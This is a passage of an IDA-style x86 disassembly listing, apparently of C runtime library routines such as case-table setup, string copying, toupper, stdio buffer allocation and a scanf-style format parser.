; ---------------------------------------------------------------------------

loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h

loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
		or	byte_4DC7E1[eax], 10h
		mov	cl, al
		add	cl, 20h

loc_42023E:				; CODE XREF: sub_4200E8+174j
		mov	byte_4DC6E0[eax], cl
		jmp	short loc_420265
; ---------------------------------------------------------------------------

loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
		jb	short loc_42025E
		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4DC7E1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42023E
; ---------------------------------------------------------------------------

loc_42025E:				; CODE XREF: sub_4200E8+161j
					; sub_4200E8+166j
		and	byte_4DC6E0[eax], 0

loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228

loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: ___:00422E7Bp
					; ___:00422ED7p ...
		cmp	dword_4DC914, 0
		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
		pop	ecx
		mov	dword_4DC914, 1

locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC6DC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------

loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]

loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DC7E1[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------

loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2

loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------

loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------

loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0

loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb

loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]

loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB334, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------

loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_43C504, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------

loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 2

loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371

loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------

loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_43C2F8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------

loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1

loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------

loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DB27C, ecx
		mov	eax, offset dword_43C610

loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43C778
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4DB278, 0Dh
		retn
; ---------------------------------------------------------------------------

loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_43C614[edx*8]
		mov	dword_4DB278, eax
		retn
; ---------------------------------------------------------------------------

loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4DB278, 8
		jbe	short locret_420445

loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4DB278, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_43CA08
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------

loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_43CA28
		jnz	short loc_4204CF
		push	1
		pop	eax

loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4DB460
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4DB304[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DB304h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------

loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx

loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx

loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------

loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx

loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_43C504, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------

loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_43C2F8
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch

loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------

loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx

loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43C504, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------

loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673

loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]

loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]

loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax

loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------

loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1

loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------

loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C

loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax

loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6

loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi

loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------

loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------

loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6

loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------

loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]

loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF

loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh

loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_43C504, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------

loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------

loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_43C508, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_43C508
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi

loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_43C504, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------

loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------

loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A

loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------

loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4

loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------

loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_43C504, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------

loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------

loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43C8A8
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1

loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1

loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_43C780
		jmp	loc_420A7C
; ---------------------------------------------------------------------------

loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF

loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1

loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------

loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A

loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------

loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh

loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------

loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------

loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------

loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1

loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_43C778

loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh

loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]

loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------

loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl

loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi

loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420AD7

loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

